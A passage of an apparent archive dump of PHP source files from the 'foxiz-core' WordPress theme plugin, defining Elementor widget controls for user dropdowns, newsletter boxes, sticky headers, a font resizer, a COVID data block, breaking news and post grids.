=> esc_html__( 'Dropdown Right Position', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'input a right relative position for the logged dropdown, for example: -200', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => 'right: {{VALUE}}px; left: auto;' ), ) ); $this->add_control( 'dropdown_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the logged dropdown.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .user-dropdown a' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'hover_dropdown_color', array( 'label' => esc_html__( 'Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the logged dropdown when hovering.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .user-dropdown a:hover' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'bg_from', array( 'label' => esc_html__( 'Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'bg_to', array( 'label' => esc_html__( 'Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'dark_dropdown_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the logged dropdown in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .user-dropdown a' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_hover_dropdown_color', array( 'label' => esc_html__( 'Dark Mode - Hover Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the logged dropdown when hovering in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .user-dropdown a:hover' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_from', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_to', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->end_controls_section(); } protected function get_menus() { $menus = wp_get_nav_menus(); $options = array( '0' => esc_html__( '- Assign a Menu -', 'foxiz-core' ) ); foreach ( $menus as $menu ) { $options[ $menu->slug ] = $menu->name; } return $options; } /** * render layout */ protected function render() { $settings = $this->get_settings(); if ( function_exists( 'foxiz_header_user' ) ) { \foxiz_header_user( $settings ); } } }elementor/newsletter-1.php000064400000016217147206624460011623 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to a full width section.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Heading', 'foxiz-core' ), 'description' => esc_html__( 'Input a heading for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Always Stay Up to Date', 'foxiz-core' ), ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a description for the newsletter box.', 'foxiz-core' ), 'default' => esc_html__( 'Subscribe to our newsletter to get our newest articles instantly!', 'foxiz-core' ), ) ); $this->add_control( 'shortcode', array( 'label' => esc_html__( 'Form Shortcode', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input your newsletter form shortcode.', 'foxiz-core' ), 'placeholder' => esc_html__( '[mc4wp_form]', 'foxiz-core' ), 'default' => '[mc4wp_form]' ) ); $this->add_control( 'featured', array( 'label' => esc_html__( 'Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured image attachment URL for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->add_control( 'dark_featured', array( 'label' => esc_html__( 'Dark Mode - Featured Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a featured attachment URL for the newsletter box in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA ) ); $this->end_controls_section(); $this->start_controls_section( 'design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'background', array( 'label' => esc_html__( 'Background Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a background image attachment URL for the newsletter box.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'selectors' => array( '{{WRAPPER}} .newsletter-box' => 'background-image: url("{{URL}}");' ) ) ); $this->add_control( 'dark_background', array( 'label' => esc_html__( 'Dark Mode - Background Image', 'foxiz-core' ), 'description' => esc_html__( 'Input a background attachment URL for the newsletter box in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::MEDIA, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .newsletter-box' => 'background-image: url("{{URL}}");' ) ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'description_size', array( 'label' => esc_html__( 'Description Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .newsletter-description' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .newsletter-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .newsletter-description', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_get_newsletter' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_newsletter( $settings ); } } }elementor/section.php000064400000010712147206624460010727 0ustar00start_controls_section( 'foxiz_section_bg_dark_mode', array( 'label' => esc_html__( 'Foxiz - Dark Mode Background', 'foxiz-core' ), 'tab' => \Elementor\Controls_Manager::TAB_STYLE, ) ); $section->add_group_control( \Elementor\Group_Control_Background::get_type(), array( 'label' => esc_html__( 'Dark Mode Background', 'foxiz-core' ), 'name' => 'dark_mode_background', 'types' => array( 'classic', 'gradient' ), 'selector' => '[data-theme="dark"] {{WRAPPER}}.elementor-section', ) ); $section->end_controls_section(); } } if ( ! function_exists( 'foxiz_section_header_sticky' ) ) { function foxiz_section_header_sticky( $section, $args ) { if ( ! is_admin() || ( 'rb-etemplate' === get_post_type() && is_admin() ) ) { $section->start_controls_section( 'foxiz_section_header', array( 'label' => esc_html__( 'Foxiz - for Header Template', 'foxiz-core' ), 'tab' => \Elementor\Controls_Manager::TAB_LAYOUT, 'hide_in_inner' => true, ) ); $section->add_control( 'sticky_info', array( 'type' => \Elementor\Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below are used for the header template.', 'foxiz' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $section->add_control( 'header_sticky', array( 'label' => esc_html__( 'Sticky Header', 'foxiz-core' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'description' => esc_html__( 'Enable or disable the sticky for this section.', 'foxiz-core' ), 'return_value' => 'section-sticky', 'prefix_class' => 'e-', 'render_type' => 'none', 'frontend_available' => true, 'default' => '', ) ); $section->add_control( 'header_smart_sticky', array( 'label' => esc_html__( 'Smart Sticky', 'foxiz-core' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'description' => esc_html__( 'Only stick the main menu when scrolling up.', 'foxiz-core' ), 'condition' => array( 'header_sticky' => 'section-sticky' ), 'return_value' => 'is-smart-sticky', 'prefix_class' => '' ) ); $section->add_control( 'stitle_sticky', array( 'label' => esc_html__( 'Single Headline Sticky', 'foxiz-core' ), 'type' => \Elementor\Controls_Manager::SWITCHER, 'description' => esc_html__( 'Enable or disable the sticky for the single post headline. The single headline will replace on the main navigation.', 'foxiz-core' ), 'return_value' => 'stitle-sticky', 'prefix_class' => 'e-', 'render_type' => 'none', 'frontend_available' => true, 'default' => '', ) ); $section->add_control( 'sticky_bg_info', array( 'type' => \Elementor\Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Header Sticky Background.', 'foxiz' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $section->add_group_control( \Elementor\Group_Control_Background::get_type(), array( 'name' => 'header_sticky_bg', 'label' => esc_html__( 'Sticky Background', 'foxiz-core' ), 'types' => array( 'classic', 'gradient' ), 'selector' => '.sticky-on {{WRAPPER}}.elementor-section' ) ); $section->add_control( 'dark_sticky_bg_info', array( 'type' => \Elementor\Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Dark Mode - Header Sticky Background.', 'foxiz' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $section->add_group_control( \Elementor\Group_Control_Background::get_type(), array( 'name' => 'dark_header_sticky_bg', 'label' => esc_html__( 'Sticky Background', 'foxiz-core' ), 'types' => array( 'classic', 'gradient' ), 'selector' => '.sticky-on[data-theme="dark"] {{WRAPPER}}.elementor-section' ) ); $section->end_controls_section(); } } }elementor/font-resizer.php000064400000007401147206624460011713 0ustar00start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This block is only display in the single post page.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'icon_size', array( 'label' => esc_html__( 'Icon Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the font resizer icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .font-resizer-trigger' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the font resizer icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .font-resizer-trigger' => 'line-height: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'left' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'right' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .font-resizer' => 'text-align: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the font resizer icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .font-resizer-trigger' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_icon_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the font resizer icon in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .font-resizer-trigger' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_header_font_resizer' ) ) { \foxiz_header_font_resizer(); } } }elementor/covid-data.php000064400000012033147206624460011274 0ustar00start_controls_section( 'section_title', array( 'label' => esc_html__( 'Covid Data Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'country_code', array( 'label' => esc_html__( 'Country Code', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a country code you would like to display, ie: US. Leave blank if you would like to display global data.', 'foxiz-core' ), 'default' => '', ) ); $this->add_control( 'country_name', array( 'label' => esc_html__( 'Country Name', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input the country name of the code you have just added.', 'foxiz-core' ), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'heading_style', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon', array( 'label' => esc_html__( 'Virus Icon', 'foxiz-core' ), 'type' => Controls_Manager::SWITCHER, 'description' => esc_html__( 'Show a virus icon in this block.', 'foxiz-core' ), 'default' => 'yes' ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Name HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a title HTML tag for the country name.', 'foxiz-core' ), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Name Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__('Input custom font size values (px) for the country name for displaying in this block.', 'foxiz-core'), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .country-name > *' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Label Text Font', 'foxiz-core' ), 'name' => 'label_font', 'selector' => '{{WRAPPER}} .description-text', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Total Number Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .data-item-value', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_render_covid_data' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_render_covid_data( $settings ); } } }elementor/breaking-news.php000064400000024066147206624460012026 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Heading', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for all sections.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'heading', array( 'label' => esc_html__( 'Heading Label', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'input a heading label for this block.', 'foxiz-core' ), 'default' => esc_html__( 'Hot News', 'foxiz-core' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'title_tag_section', array( 'label' => esc_html__( 'Custom Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Post Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .entry-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'label_size', array( 'label' => esc_html__( 'Label Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size for the label', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .breaking-news-heading' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'slider_section', array( 'label' => esc_html__( 'Slider Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Heading Label Font', 'foxiz-core' ), 'name' => '', 'selector' => '{{WRAPPER}} .breaking-news-heading', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_breaking_news' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_breaking_news( $settings ); } } }elementor/grid-1.php000064400000075527147206624460010365 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '3', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => 